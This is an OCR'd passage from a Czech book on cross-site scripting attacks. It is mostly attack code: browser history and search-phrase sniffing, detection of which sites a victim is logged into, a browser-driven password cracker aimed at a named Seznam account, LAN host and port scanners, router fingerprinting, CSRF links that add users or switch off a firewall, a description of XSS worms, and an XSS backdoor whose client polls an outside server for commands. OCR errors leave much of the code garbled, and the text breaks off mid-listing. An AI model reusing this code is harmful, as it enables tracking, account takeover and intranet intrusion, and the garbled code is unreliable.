var link = document.createElement ("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
/* Vytvoreni vlastniho stylu odkazu pro specificky link. Nastavi CSS
visited selector na znamou hodnotu, v tomto pripadé &ervenou. */
document.write ('<style>');
document.write ('#id' + i1 + ":visited {color: #FF0000;}");
document.write ('</style>");
/* Prida odkaz do DOM, zjisti jeho barvu a zase jej odebere z DOM */
document .body.appendChild (1link) ;
var color = document.defaultView.getComputedStyle (link,null) .
getPropertyValue ("color") ;
document .body.removeChild (1link) ;
/* Zjisténi zda byl odkaz navsStiven, zda je jeho barva &ervena */
if (color == "rgb(255, 0, 0)") { // navitiven
/* P¥ida odkaz mezi navstivené */
var item = document.createElement ('li');
item.appendChild (1link) ;
document.getElementById('visited') .appendChild (item) ;
else { // nenavitiven
/* Pfida odkaz mezi nenavsStivené */
var item = document.createElement ('li');
item.appendChild (1link) ;
document.getElementById('notvisited') .appendChild(item) ;
}
}
</script>
</body>
</html>

Seznam vyhledavanych frazi

Rekli jsme si, Ze na =zakladé obarvovani navitivenych
a nenavstivenych odkazi riznou barvou, dokdzeme urcit, zda se uzivatel na
dané webové strance pohyboval. Kdyz k tomu pfidame skuteCnost, ze
vétSina webovych vyhledavaci predava hledany fetézec ze vstupniho pole
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metodou GET, nic ndm nebrani v roz§ifeni naseho skriptu tak, aby dokazal
rozpoznat také fraze, které uzivatel vyhledaval.

K demonstraci vyuziji webovy vyhledavaé Seznam.cz, ktery pfi
vyhledavani na své homepage vraci URI v této podobé:

http://search.seznam.cz/?sourceid=szn-HP&thru=&q=hledane slovo

Staci, abychom testovali navstiveni jednotlivych linkd, ve kterych
budeme postupné zaménovat hodnotu proménné q.

Vypis 211 — Zjisténi vyhleddvanych frazi

<html>
<head>
<meta http-equi Content-Type" content="text/html; charset=windows-1250">
<meta http-equiv="Content-Language" content="cs">
</head>
<body>
<H3>Hledané na www.seznam.cz</H3>
<ul id="searched"></ul>

<H3>Nehledané</H3>

<ul id="notsearched"></ul>

<script>

/* Seznam frazi, které budou provéreny */

var words = ["hacking", "cracking", "javascript", "keylogger", "exploit"];

/* Cyklus pro vSechny frdze ze seznamu */
for (var i = 0; i < words.length; i++) {
/* Vytvorfeni odkazu na searchlink s frazi ze seznamu */
var link = document.createElement ("a");
link.id = "id" + i;
link.href="http://search.seznam.cz/?sourceid=szn-HP&thru=&g="+words [i];
link.innerHTML = words[i];
/* Vytvoreni vlastniho stylu odkazu pro speificky link. Nastavi CSS visited
selector na znamou hodnotu, v tomto pripadé &Servenou. */
document.write ('<style>");
document.write ('#id' + i + ":visited {color: #FF0000;}"):;
document.write ('</style>"');
/* Pfida odkaz do DOM, zjisti jeho barvu a zase jej odebere z DOM */
document .body.appendChild (link) ;
var color document.defaultView.getComputedStyle (link,null) .
getPropertyValue ("color") ;
document .body.removeChild (link) ;
/* Zjisténi zda byl odkaz navStiven, zda je jeho barva &ervena */
if (color == "rgb(255, 0, 0)") { // hledano
/* P¥ida frézi mezi hledané */
var item = document.createElement ('li'");
item.appendChild (link) ;
document.getElementById ('searched') .appendChild (item) ;
else { // nehledano
/* Prida frazi mezi nehledané */
var item = document.createElement ('1li'");
item.appendChild (link) ;
document.getElementById('notsearched') .appendChild (item) ;

}
}
</script>
</body>
</html>
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Zjisténi, kde je uzivatel prihlasen

Princip tohoto utoku spo¢ivd v rozdilném chovani webovych
aplikaci k pfihlaSenym a nepfihlaSenym uZzivatelim. Na Seznamu nebo
Googlu jsou naptiklad nékteré obrazky z uzivatelskych profili pfistupné
pouze prihlasenym uzivatelim. Ostatni uzivatelé jsou pii pokusu o nacteni
takového obrazku pfesmérovani na stranku pro ptihlaseni.

Utoénikovi tedy nic nebrani v tom, aby do své webové stranky
vlozil tag <img> a na zaklad¢ vyskytu jedné z udalosti onload nebo onerror
rozhodl, zda je, nebo neni uzivatel k aplikaci pfihlasen. Uvedeny postup,
ktery se snazi nacist obrazek, je funkéni ve vSech rozsifenych prohlizecich.

Na Facebooku je zase mozné vyuzit skute¢nosti, Ze pii pokusu
0 ziskani nékterych www stranek je nepfihlaSenym uzivatelim vracena
chybova stranka se stavovym kodem 403(404), kdezto prihlaSenym
uzivatelim je zobrazen jejich obsah. Kod pro Twitter funguje naopak na
zakladé toho, ze je vracena chybova stranka ptihlaSenym uZzivatelim, pokud
zadaji neexistujici dokument. NepiihlaSeni jsou ale pii pokusu o nacteni
i neexistujiciho dokumentu pfesmérovani na piihlasovaci stranku.

Zda je vracen chybovy stavovy kod HTTP (403, 404, 406, 500),
nebo obsah webové stranky, je mozné testovat naptiklad pomoci tagu
<script>, ktery se na dany dokument odkaZe ve svém atributu src. Opét pak
uZ jen zbyva otestovat, zda nacteni vyvola udalost onload nebo onerror.
Uvedené je ovSem funk¢ni pouze u prohlizect Firefox, Chrome a Safari.
Internet Explorer a Opera jsou striktngjsi v dodrzovani hlavicky Content-
type, kde ve spojeni s tagem <script> oéekavaji hodnotu text/javascript. Pii
pokusu o naéteni HTML dokumentu ovS§em obdrzi hodnotu text/html, coz
u téchto prohlizect vede vzdy k vyvolani udalosti onerror.
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Vypis 212 - Zjisténi aplikaci, ke kterym je uZivatel prihlasen

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-
1250">
<meta http-equiv="Content-Language" content="cs">
</head>
<body>
<script>
function writeLogged(site) {
var item = document.createElement ('li');
var text = document.createElement ('p'):;
text.innerHTML = site;
item.appendChild (text) ;
document.getElementById('logged') .appendChild (item) ;
}
function writeNotLogged (site) {
var item = document.createElement ('li');
var text = document.createElement('p');
text.innerHTML = site;
item.appendChild (text) ;
document.getElementById('notlogged') .appendChild (item) ;
}
</script>

<H3>P¥ihla8en k udtum</H3>
<ul id="logged"></ul>
<H3>NepfihlaSen</H3>

<ul id="notlogged"></ul>

<img style="display:none;"
onload="writeLogged('Seznam")"
onerror="writeNotLogged ('Seznam')"
src="http://email.seznam.cz/image?2d955c04600e5£82686d5d3bdb9902b7" />

<img style="display:none;"
onload="writeLogged ('Gmail")"
onerror="writeNotLogged ('Gmail')"

src="https://mail.google.com/mail/photos/static/AD34hIhNx1pdsCxEpo6LavSR8dYSm
SiOKTMlpGxAjRio47pome9RH7bXPwelOBtlva3SbYkaXT7HDAZJMiuf5qU2CVDJZlAWXu7—
jaBPbDXAjVL8YGpPI"/>

<script type="text/javascript"
src="https://twitter.com/account/use_phx?setting=false&format=text"
onload="writeNotLogged ('Twitter')"

onerro writeLogged ('Twitter")"
async="async">
</script>

<script type="text/javascript"
src="https://www.facebook.com/imike3"
onload="writeLogged ('Facebook"')"

onerro writeNotLogged ('Facebook')"
async="async">
</script>
</body>

</html>
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Password cracker

Kdyz uz dokazeme JavaScriptem testovat, zda je uzivatel pfihlasen
k urcité webové aplikaci, nic nam casto nebrani ani v tom, abychom sami
zkouseli uzivatele do této aplikace pfihlaSovat s rtiznymi hesly a nasledné
testovali, zda se ptihlaSeni zdafilo, nebo ne.

Je pochopitelné, Ze rychlost takového crackeru se nebude ani
zdaleka blizit jinym dostupnym crackerim. Jeho vyhodou ovsem je
anonymita, kterou poskytuje. Utoénikovi sta&i, aby skript vlozil na svych
webovych strankach, nebo jej propaSoval skrz XSS do jinych webt
a 0 samotné crackovani hesla se jiz postaraji sami navstévnici téchto stranek.
Pokud crackovana aplikace uklada pokusy o uhadnuti hesla do logd,
nebudou tyto sméfovat k utoénikovi, ale k nic netusicim uzivateliim, kterym
se uvedeny skript spustil v jejich browseru. Pokud by navic aplikace
umoziovala jen omezeny pocet pokusi o ptihlaseni z jedné IP adresy, dala
by se tato ochrana podobnym crackovacim skriptem snadno obejit.

Podminkou pro tento typ ttoku je moznost ptihlasovat uzivatele
k uzivatelskému G¢tu prosttednictvim CSRF pozadavku.

V praktickém piikladé si ptedstavime password cracker pro
uzivatelské ucty na Seznam.cz. Skript se snazi uhadnout heslo
k uzivatelskému udtu test79@seznam.cz na zakladé kratkého slovniku, ktery
si s sebou nese v poli pass[].

Vypis 213 -

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<meta http-equiv="Content-Language" content="cs">

</head>
<body>
<script>
function try to login (name, password) {
var iframe = document.getElementById('ram');
var obsah_iframe = (iframe.contentWindow?

iframe.contentWindow.document: iframe.contentDocument) ;
obsah_iframe.write ("<html><body>"+
"<form id='formId' name='form' method='post'
action="http://login.szn.cz/loginProcess'>" +

" <input type='text' name='username' value='" + name + "'>" +
" <input type='text' name='domain' value='" + domena + "'>" +
" <input type='text' name='password' value='" + password + "'>" +

"</form></body></html>") ;
obsah_iframe.form.submit ()

}




Utoky XSS 225

function check_login() {
if (onload image==1) {
image = document.createElement ("img") ;
image.setAttribute ("src",
"http://email.seznam.cz/image?2d955c04600e5£82686d5d3bdb9902b7") ;

image.setAttribute ("onload", "loged in()");
image.setAttribute ("onerror", "not loged in()");
image.setAttribute ("style", "display:none;");
document .body.appendChild (image) ;
onload image = 2;

}

function loged in() {
alert ("Heslo nalezeno: " + pass[i]):;
clearInterval (interval) ;

}

function not_loged in(){
document.body.removeChild (ram) ;
document .body.removeChild (image) ;
onload_image = 0;

}

function attack() {

if (i == pass.length) {
clearInterval (interval) ;
return;

}

if (lonload image) {
onload_image = 1;
i++;
ram = document.createElement ("iframe") ;
ram.setAttribute ("id", "ram");
ram.setAttribute ("style", "display:none;");
ram.setAttribute ("onload", "setTimeout ('check login()',2000)");
document .body.appendChild (ram) ;
var item = document.createElement ('1li');
var text = document.createElement('p');
text.innerHTML = pass[il;
item.appendChild (text) ;
document.getElementById('tested") .appendChild (item) ;

try_to_login(name, pass([i]);
}

function start() {

name = "test79"; domena="seznam.cz";
pass = ["heslo", "gwert' "12345", "passl23", "password", "abcd"];
i = -1; onload image = 0;

interval = setlInterval ("attack()", 100);
}
</script>

<h3>Test hesla (test79@seznam.cz)</h3>

<ul id="tested"></ul>

<br><hr>

<input type="button" onClick="start ()" value="Start">
</body>
</html>
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Utok na Intranet

XSS utok je mozné pouzit také proti cilim umisténym ve vnitinich
sitich, které navic mohou byt na rozhrani sité chranény firewallem, ktery
zadné utoky z vnéjsi sité nevpusti k zafizenim bézicim za NATem. Béhem
XSS tutoku je ale mozné JavaScriptem bé&Zicim na poéitaci uvniti vnitini sité
napfiklad oscanovat vnitini sit’ a zjistit tak, které¢ IP adresy jsou "zivé",
0 jaka zafizeni se jedna a dokonce také, jaké sluzby na nich bézi. Utoénik
muze skrz XSS nebo CSRF pozadavky napadnout také webovou aplikaci,
kterd je dostupna pouze v ramci intranetu. V této kapitole si uvedené

moznosti ptiblizime.

Skenovani vnitini sité

Pro detekci "zivych" zafizeni v siti mizeme vyuzit skute¢nosti, ze
pii zadosti o neexistujici zdroj zatizeni okamzité odpovi, Ze tento zdroj na
ném neni k dispozici. V opacném ptipadé, kdy zafizeni neni aktivni,
takovouto odpoveéd’ neposle a spojeni zistava bez odpovédi po celou dobu
stanovenou timeoutem.

Na zaklad¢ téchto skute¢nosti je mozné vytvorit scanner Zivych
zatizeni v ur€itém rozsahu IP adres. Ve vypisu 214 si mizete prohlédnout
kod takového scanneru.
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Vypis 214 - Scanner "Zivych" zafizeni v siti

<html>
<head>
<meta http-equi
<meta http-equiwv:
</head>
<body>
<script>
function scan() { if (x!=20) scanIP(site + x); }

Content-Type" content="text/html; charset=windows-1250">
Content-Language" content="cs">

function nonactive() {
window.stop?window.stop () :document .execCommand ("Stop") ;
document.getElementById('nonactive') .appendChild (itemLI) ;
x++; scan();

}

function active() {
clearTimeout (casovac) ;
document .getElementById('active') .appendChild (itemLI) ;
x++; scan();

}

function scanIP (target) {
itemLI = document.createElement ('li');
var text = document.createElement('p');
text.innerHTML = target;
itemLI.appendChild (text) ;
document.getElementById('obr') .setAttribute ("src",
"http://" + target + ":9999");
casovac = setTimeout ("nonactive ()", 2000);

}

function startScan() {

site = document.getElementById("siteIP").value; x = 1;

document.getElementById ("obsah") .innerHTML=""+
'<img id="obr" src="" onerror="active ()" onload="active ()"

style="display:none;">"'+

'<H3>Aktivni</H3><ul id="active"></ul>'+
'<H3>Neaktivni</H3><ul id="nonactive"></ul>"'

scan () ;

}
</script>
<div id="obsah">
<small>Prvni 3 oklety tvé lok&lni IP adresy</small><br>
<input type="text" id="siteIP" value="192.168.1.">
<input type="button" value="Scan" onclick="startScan()">
</div>
</body>
</html>
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Scanner otevienych portt

"y

Kdyz uz dokazeme zjistit, ktera zatizeni jsou v siti "ziva", nic naim
nebrani zjistit také porty, na kterych tato zatizeni naslouchaji.

Funkce skriptu je zaloZena na stejnych principech, na jakych stalo
samotné zjistovani aktivnich zafizeni. Opét otevieny port odpovi o néco
rychleji, nez port zavieny a my tak jen testujeme, za jak dlouho se k nam
odpovéd’ na nas pozadavek vrati.

Vzhledem k tomu, ze je cil aktivni, budou jednotlivé odpovédi
prichazet mnohem rychleji, neZ by tomu bylo u neaktivniho zafizeni. Casovy
rozdil mezi odpovédi ziskanou po odeslani pozadavku na otevieny
auzavieny port je nyni opravdu minimalni, a proto bude mozna potieba
upravit timeout v zavislosti na pingu vasi site.

Za zminku stoji také skutecnost, ze webové browsery nepovoli
odeslani pozadavkl na vSechny porty. Pozadavky sméfujici na porty, které
jsou bézné pouzivany jinymi sluzbami (napfiklad SMTP, DNS, apd.) jsou
browserem okamzit¢ blokovany a jejich dostupnost proto neni mozné
s vyuzitim JavaScriptu testovat.
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Vypis 215 — Scanner otevienych porti

<html>
<head>

<meta http-equiv="content-type" content="text/html; charset=windows-1250">

<meta http-equiv=
</head>
<body>
<script>
function scan() {
if (x!=ports.length) scanPort (host);

Content-Language" content="cs">

}

function closePort() {
window.stop?window.stop () :document .execCommand ("Stop") ;
document.getElementById('closeports') .appendChild (itemLI) ;
x++; scan();

}

function openPort () {

clearTimeout (casovac) ;
document.getElementById ('openports') .appendChild (itemLI) ;
x++; scan();

function scanPort (target) {
itemLI = document.createElement ('li');
var text = document.createElement('p');
text.innerHTML = ports[x];
itemLI.appendChild (text) ;
document.getElementById('obr') .setAttribute ("src",
"http://" + target + ":" + ports|[
casovac = setTimeout ("closePort ()", 800);
}
function startScan() {
host = document.getElementById ("IPaddress") .value;
document.getElementById ("obsah") .innerHTML=""+
'<img id="obr" src="" onerror="openPort ()" onload="openPort ()"

x]);

style="display:none;">"'+

'<H3>Otevfené porty</H3><ul id="openports"></ul>'+
'<H3>Zavfené porty</H3><ul id="closeports"></ul>"'
scan () ;

}

var x = 0;
var ports = [80, 443, 445, 8000, 8008];

</script>
<div id="obsah">
<small>Cilova IP adresa:</small><br>

<input typ text" id="IPaddress" value="192.168.1.1">
<input type="button" value="Scan" onclick="startScan()">
</div>
</body>

</html>




230 Cross-Site Scripting v praxi

Zjisténi informaci o bézicim zafizeni a spusténych aplikaci

Jednotliva zafizeni v siti poskytujici sluzby pies webové rozhrani
je mozné identifikovat skrz nékteré zdroje, které jsou na nich dostupné.
Miuze se jednat o jakékoliv informace ve formé HTML dokumentt, skriptd,
obrazkd nebo animaci, které se nalézaji pod konkrétnim nazvem souboru
Vjasné stanoveném umisténi. NejCastéji nastroje pro fingerprinting
vytvofené v JavaScriptu zjistuji existenci grafickych soubord, které se snazi
nadist prostfednictvim tagu <img>. Odpovéd serveru pak vyvolad bud
udalost onload nebo onerror v zavislosti na tom, zda byl soubor v daném
umisténi nalezen nebo ne. Ve vypisu 215 uvadim kod takového nastroje pro
fingerprinting.

Vypis 216 - Nastroj pro fingerprinting v JavaScriptu

<html>
<head>
<script>
var devices = {
1:{"typ":["DLink"], "model": ["dgl4100"],"url": ["/html/images/dgl4100.jpg"]},
2:{"typ": ["DLink"], "model": ["dgl4300"],"url": ["/html/images/dgl4300.jpg"]},
3:{"typ":["Linksys"], "model": ["WRT54GL"], "url": ["/WRT56GL.gif"]},
4:{"typ":["Cisco"],"model":["2600"],"url":["/images/logo.png"]}};

function badbDevice () {
xt+;
window.stop?window.stop () :document.execCommand ("Stop") ;
testDevice () ;

}

function correctDevice() {
var device = "typ: "+devices[x] ["typ"]+" / model:
"+devices [x] ["model"];
alert (device);

}

function testDevice() {
if (x <= 4) {
var url = devices[x] ["url"];
img = document.createElement ("img") ;
document.getElementById ("obraz") .setAttribute ("src", "http://" +
target + url);
} else {
alert ("Zatizeni nerozpoznano");
}
}
</script>
</head>
<body>
<img id="obraz" src="" onerror="badDevice ()" onload="correctDevice ()"
style="display:none;">
<script>
var target = "192.168.1.1"; var x = 1;
testDevice () ;
</script>
</body>
</html>




Utoky XSS 231

V tabulce 49 uvadim ptiklady nékolika znAmych lokaci grafickych

soubortl, pomoci kterych je mozné identifikovat néktera zafizeni.

Tabulka 49 - Databdze umisténi souboru umozriujicich identifikaci zarizeni

DLink dgl4100 /html/images/dgl4100.jpg

DLink dgl4300 /html/images/dgl4300.jpg

DLink dis524 /html/images/di524.9pg

DLink di6e24 /html/images/di624.jpg

DLink dir451 /html/images/dir451.jpg

DLink dir6l5 /html/images/dir615.jpg

DLink dir625 /html/images/dir625.jpg

DLink dir635 /html/images/dir635.jpg

DLink dir655 /html/images/dir655.jpg

DLink dir660 /html/images/dir660.jpg

DLink ebr2310 /html/images/ebr2310.jpg

DLink DSL502T /html/images/help_p.Jjpg

DLink DSL524T /html/images/device.gif
Netgear  CG814WG /images/../settingsCG814WG.gif
Netgear CM212 /images/../settingsCM212.gif
Netgear DG632 /images/../settingsDG632.gif
Netgear DG632B /images/../settingsDG632B.gif
Netgear DG814 /images/../settingsDG814.gif
Netgear  DG824M /images/../settingsDG824M.gif
Netgear  DGB834 /images/../settingsDG834.gif
Netgear  DG834B /images/../settingsDG834B.gif
Netgear  DG834G /images/../settingsDG834G.gif
Netgear  DG834GB /images/../settingsDG834GB.gif
Netgear  DG834GT /images/../settingsDG834GT.gif
Netgear  DG834GTB /images/../settingsDG834GTB.gif
Netgear  DG834GV /images/../settingsDG834GV.gif
Netgear  dg834N /images/../settingsdg834N.gif

ThomsonCable Modem A801

/images/thomson.gif

Vigor 2600V /images/logol.jpg

Linksys  WRT54GL /WRT56GL.gif

Linksys  WRT54GC /UI_Linksys.gif

Linksys WRT54G /WRT54G.gif

Linksys WRT54GS /UILinksys.gif

ZyXEL Prestige 660H61 /dslroutery/imgshop/full/NETZ1431.3pg
ZyXELZ ywall /images/Logo.gif

Sitecom  WL114 /slogo.gif

2Wire 1000 Series /base/web/def/def/images/nav_sl_logo.gif
SurfinBird313 /images/help p.gif

SMC 7004ABR /images/logo.gif

Netcomm  NB5S /html/defs/style5/images/Netcomm menu_logo.gif
Cisco 2600 /images/logo.png

Apache Web Server /icons/apache pb.gif

HP Printer /hp/device/hp_invent logo/gif

Udaje v tabulce jsou pouze malou asti databaze Javascript LAN
scanneru® od Garetha Heyese.

! http://www.businessinfo.co.uk/labs/lan_scan/lan_scan.php
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Utok na webovou aplikaci dostupnou ve vnitini siti

Pokud tato¢nik identifikoval a zna webovou aplikaci spusténou ve
vnitini siti, ktera je zranitelna prostfednictvim CSRF nebo XSS, je schopen
vyuzit uzivatele v této vnitini siti k provedeni konkrétniho Gtoku.

Reknéme, Ze na serveru ve vnitni siti b&i na serveru s IP adresou
192.168.1.1 webovy server se spusténou webovou aplikaci predstavujici
CRM systém. Pokud ma utocnik s timto systémem zkusenosti, neni pro n¢j
problém vytvorit CSRF odkaz, ktery v tomto CRM systému provede néjakou
konkrétni akci. Takovy odkaz by pak mohl vypadat jako ten z vypisu 217.

Vypis 217 - CSRF odkaz na server ve vnitini siti

<a href="http://192.168.1.1/CRM/adduser.php?user=utocniké&pass=heslo

Tento odkaz miize uto¢nik vystavit napiiklad na webu, o kterém
mu je znamo, Ze jej vytipovany uZzivatel navitévuje, nebo ho muze zaslat
tomuto uzivateli pfimo v e-mailové zpravé. Pokud ma uzivatel v CRM
systému patfi¢na prava pro piidavani uzivateli a klikne na tento uto¢nikem
pripraveny odkaz, dojde v systému k pfidani nového uzivatele se jménem
utocnik. Vyuzije-li Gtoénik k odeslani odkazu kod JavaScriptu nebo tag
obrazku, nemusi zneuZity uzivatel dokonce ani klikat na zadny odkaz.

Stejnym zplsobem je mozné v lokalni aplikaci spustit také non-
perzistentni XSS, které bude do aplikace injektovano skrz odkaz ptichazejici
z vnéjsi sité.

U utoku tohoto druhu je vZzdy pozadavek na serveru vyfizen pod
identitou toho uZivatele, ktery pozadavek nevédomky odesila, ale vzdy je
nutné, aby mél uto¢nik jasnou predstavu o sluzbé, ktera bézi ve vnitini siti
proti niz je utok namifen.

Kromé& CRM systémi a jinych aplikaci, které vyuzivaji uzivatelé
ve vnitini siti, miize byt popsanym zptisobem utoceno také na aktivni sitové
prvky, jako jsou routery a firewally. Ke zméndm v jejich nastaveni mize byt
zneuzito uzivatelll s patfiénymi piistupovymi pravy, nebo pozadavkd, které
pristupové udaje pii HTTP autorizaci obsahuji v samotném dotazu, jak
ukazuje vypis 218. U sitovych prvkll ve vnitini siti byvaji ¢asto ponechany
defaultni pfistupové tudaje a jak jsme si ukazali vySe, neni problém
jednotlivé prvky vyuzitim JavaScriptu identifikovat.

Vypis 218 - PoZzadavek obsahujici autentifikacni udaje

http://jmeno:heslo@192.168.1.10/admin?setFirewall=off
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XSS worms

Asi nejvétsi hrozbu pro spravce webovych aplikaci ptedstavuji
XSS gervy (XSS Worms), které se dokazi sami replikovat a napadat
postupné éty jednotlivych uzivateli. Princip fungovani takového
ukazkového XSS cerva si vysvétlime na piikladu zranitelného webmailu.

Budeme ptedpokladat, ze zranitelnost se nachazi v téle HTML
zpravy, ktera se otevira ve stejné doméné jako administrace emailového
uétu. Ve chvili, kdy uzivatel otevie zpravu s vloZzenym JavaScriptem, se
tento spusti, provede né&jakou definovanou C¢innost a nasledné otevie
ve skrytém ramu Kkontakty ulozené v aplikaci webmailu. Ty piecte
a postupné na vSechny rozesle svou kopii. Vzhledem k tomu, ze budou
uzivateliim pfichazet tyto zpravy od divéryhodné osoby (uzivatel byl pieci
ulozen v kontaktech), nebudou mit zadny divod je neoteviit. Tim vSak
vyvolaji dalsi rozeslani XSS Cerva vSem svym kontaktim a tak se fady

VVVVV
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Ze studie®, ktera byla na toto téma vypracovana, vyplyva pro
roz§iteni XSS Eervu v Case kiivka znazornéna v nasledujicim grafu.
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Je vidét, Ze néjakou dobu po pocatku ttoku, kdy zpravu §ifi pouze
nékolik prvnich nakaZenych jedincl, se pocty infikovanych zvétSuji jen
mirné. V urcitém stupni rozsifeni infikované zpravy dojde k masivnimu
vzristu rychlosti Sifeni. AvSak vzhledem k tomu, Ze je pocet uzivateld
aplikace kone¢ny, za¢ne se rychlost §iteni v urcity moment opét snizovat
S tim, jak ubyva uzivatell, kteti zatim nebyli nakazeni, a ktefi se ke svému
uctu piihlasuji méné Casto.

Pfi vytvafeni kodu popsaného XSS wormu je potieba brat ohled na
skute¢nost, zda jiz byla obét’ napadena dfive, nebo zda se jedna o jeji prvotni
napadeni. Pokud by na toto ohled bran nebyl, zaaly by zpravy putovat
cyklicky mezi jednotlivymi ucty a jejich pocet by neustale nartstal.
V konec¢ném duisledku by mohlo nekontrolované Sifeni vést az k naprostému
zahlceni paméti a vypocetniho Casu servert, na kterych je aplikace webmailu
spusténa.

Podobny priubéh mtze mit také XSS Cerv Sitici se v socidlnich
sitich skrz informace uvedené v profilech jednotlivych uZivateli. Utoénik
v takovém piipadé nakazi cervem pfipraveny profil a ve chvili, kdy si tento
profil zobrazi néktery z uzivateld dojde k infikovani jeho vlastniho profilu.
Postupné se tak Cerv rozsifi stejné jako tomu bylo u piikladu webmailového
XSS Cerva.

! http://www.faghani.info/ CSE09.pdf
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Do historie se asi nejzietelnéji zapsali XSS ¢ervy z tabulky 50,
které dokazali napadnou béhem kratké doby velké mnozstvi uzivatelskych
uéta.

Tabulka 50 - Nejznaméjsi XSS cervy

Samy

XSS worm napadajici profily uzivateld v socidlni siti MySpace. Jde o
prikopnika mezi XSS ¢ervy, kterému se béhem osmnacti hodin od vypusténi
poda¥ilo nakazit neuvé¥itelny 1.000.000 uzivatelskych a&tu.

Yamanner

Webmailovy &erv, ktery se $i¥il prost¥fednictvim e-mailovych zprav mezi
uZivateli Yahoo!

Orkut

XSS Cerv 8itici se v socidlni siti Googlu prostfednictvim soukromych zprav
obsahujicich Gtoény flash objekt. Tomuto wormu se podafilo napadnout vice neZ
400.000 uzivatelskych ucétu.

Kod kazdého XSS cerva je velmi specificky, a vzdy je potieba jej
napsat piimo na miru dané webové aplikace. Jen stézi se Vam totiz podaii
nalézt v riznych aplikacich naprosto stejnou zranitelnost, u které by se dal
pouzit stejny vektor Utoku a kde by i samotné Sifeni probihalo stejnym
zpusobem. Toto by bylo mozné snad jen v ptipadé, kdy by webové aplikace
byly postavené na stejném systému. Z uvedeného divodu se nastésti
nemohou XSS cervy nekontrolovatelné §ifit mimo aplikaci. OvSem je mozné
napsat i takovy kod, ktery by znal zranitelna mista v riznych aplikacich
a vétvil by svou c¢innost podle toho, ve které z téchto aplikaci je prave
spustén. Dokazal by se tak $ifit i mezi témito riznymi aplikacemi.

Pokud by ucty jednotlivych uzivateli byly nakazeny skriptem
S obousmérnym komunika¢nim kanalem, o kterém se zminim za okamzik,
ziskal by Gtoénik pomérné slusnou armadu zombii pfipravenych plnit jeho
povely zptsobujici naptiklad odepfeni sluzeb znamé jako DoS/DDoS.
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XSS proxy / backdoor

V Xkapitole vénované komunikaci mezi uto¢nikem a napadenym
uzivatelem jsem zminil moznost vytvofeni trvalého komunikacniho kanalu.
Po jeho ustaveni mize utoCnik zasilat své pozadavky browseru obéti, ktery
tyto pozadavky vykona a vysledna data preda zpét utocnikovi.

Ve své podstaté je XSS backdoor velmi podobny backdoortim
znamym z oblasti malware. Nejvétsi rozdil je ve sméru komunikace, kdy se
pfi pouziti b&zného backdooru pfipojuje utoénik ze svého klienta na
serverovou ¢ast backdooru béZici u uzivatele. Z principu fungovani HTTP
protokolu ale vyplyva, Ze neni mozné, aby Gto¢nik své pozadavky zasilal
z klienta uZivatelovu prohlizeéi, ktery v tomto piipadé hraje roli serveru.
Protoze webovy browser funguje zpisobem, pfi némz vysle HTTP
pozadavek a zpracuje vracenou odpovéd’, musime celou komunikaci oproti
béznému backdooru postavit reverzné¢ a aktivitu pfedat samotnému
webovému prohlizeci na stranu uZzivatele.

Ve chvili, kdy uzivatel navstivi webovou stranku obsahujici
vlozeny JavaScript s klientskou ¢asti XSS backdooru, dojde k jeho spusténi
aklient zatne v pravidelnych intervalech (zpravidla nékolika sekund)
vysilat HTTP pozadavky na serverovou ¢&ast, ktera je spuSténa na strané
uto¢nika. Serverova ¢ast odpovi na obdrzeny pozadavek, pfiCemz ve své
odpovédi mize predat piikazy zadané uto¢nikem. Jakmile klient bézici ve
webovém prohlizec¢i obdrzi tuto odpovéd, provede piikazy v ni obsazené
a vysledek odesle opé&t serveru.

Ptikazy mohou byt na serveru uto¢nika ulozeny permanentné,
nebo mohou byt utoénikem zadavany piimo. Komunikace pak probiha on-
line pouze s nékolikavtetinovym zpozdénim, které je déno intervalem
piihlasovani klienta k serveru.

Velice jednoduché feSeni XSS backdooru, kterého jsem pravé
popsal, si mizete prohlédnout v nasledujicich vypisech. Vypis 219
predstavuje klientskou ¢ast backdooru. Samotné odesilani pozadavki je v ni
zajisténo pomoci funkce setinterval(), kterd se spoleéné s objektem
XMLHttpRequest (respektive XdomainRequest) postard o spolehlivé
odesilani pozadavki v pravidelnych intervalech. Diky AJAXu jsou
pozadavky odesilany na pozadi napadené stranky bez viditelnych projevi.
Uvedeny klient ale pro jednoduchost disponuje pouze omezenymi funkcemi
alert a prompt.
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Vypis 219 - Zdrojovy kod klientské ¢asti XSS backdooru

<?php
@session_start();
header ("Content-Type: text/javascript");
Ees
function pozdrav() {alert("Ahoj uzivateli")}
function dotaz () {odpoved = prompt ("Jak se jmenujes?")}
function sendXMLHttpRequest (answ) {
answ = answ?"&odpoved="+answ:"";
xhr = window.XDomainRequest?new XDomainRequest () :new XMLHttpRequest () ;
if (xhr) {
xhr.open ("GET", "http://www.soom.cz/projects/XSSbackdoorDemo/
xssproxyserver.php?idclient=<?php echo session_id(); ?>" + answ, true);

xhr.onload = zpracujOdpoved;
xhr.send (null) ;
odpoved="";

}
}
function zpracujOdpoved() {
var prikaz = xhr.responseText;
if (prikaz "pozdrav") pozdrav();
if (prikaz == "dotaz") dotaz();
}
var odpoved = "";
setInterval ("sendXMLHttpRequest (odpoved)", 5000) ;

Stejné jednoduchy je také kod serverové casti XSS backdooru,
ktery uvadim ve vypisu 220. Tu je mozné zalozit na pouziti databaze, nebo
ukladanim dat do soubort. Ja zvolil pouziti soubort, pfi¢emz kazdému
z klientil jsou pfitazeny soubory s ptiponou .dat (slouZi jako zdroj informaci
o Case posledniho pfistupu klienta a o jeho IP adrese), .out (obsahuje piikazy
zadané ito¢nikem) a .in (obsahuje odpovédi klienta). Vzhledem k tomu, ze
jsou pii pouziti XSS backdooru jednotlivé pozadavky zasilany napiic
doménami, je dulezité pti posilani odpovédi uvadét HTTP hlavicku Access-
Control-Allow-Origin: povolujici komunikaci s jinou doménou.

Vypis 220 - Zdrojovy kod serverové casti XSS backdooru

<?php
header ("Cache-Control: no-cache");
header ("Pragma: no-cache");
header ('Access-Control-Allow-Origin: *');
if (empty($_GET["idclient"])) exit(0);
Sidclient = trim($_GET["idclient"]):;
if (!ereg(""[a-zA-Z0-9]{8,40}$", $idclient)) exit(0);
if (isset($_GET["odpoved"]))
file_put_contents ("clients/$idclient.in",
htmlspecialchars ($_GET["odpoved"]) ."\n<br>\n", FILE_APPEND);
if (getenv ('HTTP_X FORWARDED FOR'))
$ipel = htmlspecialchars
(trim(getenv ('REMOTE_ADDR').'/'.getenv ('HTTP_X FORWARDED_FOR')));
elze
